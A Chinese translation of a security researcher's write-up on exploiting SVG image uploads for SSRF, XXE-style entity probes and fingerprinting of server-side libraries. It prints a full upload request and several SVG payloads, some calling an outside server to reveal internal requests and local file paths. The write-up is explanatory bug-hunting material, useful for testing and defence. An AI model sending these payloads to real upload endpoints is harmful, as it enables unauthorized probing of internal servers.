利用SVG图片和SSRF收集服务器内部信息
SSRF(Server-side-request-forgery)已经成为上传功能的一个非常重要的攻击点,特别是在目标应用会从外部资源获取图片、文档的情况下。
SVG是一种基于xm l的矢量图像,可在Web和其他环境中展示各种图形。由于它是xm l结构,所以支持各种xm l特性,其中一个特性是
XLink
,支持在xm l文档中创建内部或外部的超链接。
在以下展示中,我将通过基于XLink的SSRF漏洞来枚举各种内部库、已安装工具、gnome版本等等,
POST /upload HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 1313
Accept: application/json, text/ja vasc ript, */*; q=0.01
Origin: https://redacted.com
X-Requested-With: xm lHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINZ5MzqXAud4aYrN
Referer: https://redacted.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
ceaa2f2d25275bb5879a726eb8c04aec7b3a64f7
------WebKitFormBoundaryINZ5MzqXAud4aYrN
Content-Disposition: form-data; name="timestamp"
1551244304
------WebKitFormBoundaryINZ5MzqXAud4aYrN
Content-Disposition: form-data; name="api_key"
413781391468673
------WebKitFormBoundaryINZ5MzqXAud4aYrN
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
<?xm l version="1.0" encoding="UTF-8" standalone="no"?><svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://myserver:1337/" /></svg>
- 注意,上面请求解析后会对
http://myserver:1337/
发起请求。而我的服务器在接到请求后,发现referer请求头显示请求是从localhost发起的,端口为3000。
上面描述的场景是目标应用上传一个SVG格式的图像,接下来我们将尝试在上传请求中包含一个静态实体,看看解析器作何反应。
<?xm l version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [ <!ENTITY xm l "POC for Static Entities Allowed">]>
<svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<text x="0" y="20" font-size="20">&xm l;</text>
</svg>
- 好的,解析器会正常处理静态实体,接下来我们尝试包含一个SYSTEM实体的DTD,这更像是XXE攻击,但是解析器在后端做出了拦截,看样子这里对恶意xm l的解析进行了安全防护。
由于解析器会拦截基于SYSTEM的实体,攻击面受到了限制。是时候测试Billion Laughs attack了。注意:在进行模糊测试前,一定要了解解析器的逻辑,在攻击之前,我测试了简单的回调实体函数,看看解析器是否允许通过回调xm l2
的实体来渲染xm l1
实体。
<?xm l version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [
<!ENTITY xm l1 "This is my first message">
<!ENTITY xm l2 "&xm l1";>
]>
<text x="0" y="20" font-size="20">&xm l2;</text>
</svg>
- 不幸的是,解析器也会拦截回调实体。现在,我们的攻击点就只有第一步的SVG图片了,利用可能存在于系统默认路径的图片,通过暴力枚举这些图片来提取内部服务器信息。
- 为了列举出尽可能多的服务器信息,我们需要为系统上所有可能的本地图片建立一个单词表。
现在是时候往图片上传请求中带入不同的图片路径来测试图片是否存在,间接推断出服务器的内部信息。
<?xm l version="1.0" encoding="UTF-8" standalone="no"?>
<svg xm lns:svg="http://www.w3.org/2000/svg" xm lns="http://www.w3.org/2000/svg" xm lns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@arbazhussain/svg-xlink-ssrf-fingerprinting-libraries-version-450ebecc2f3c
昵称
邮箱
最新评论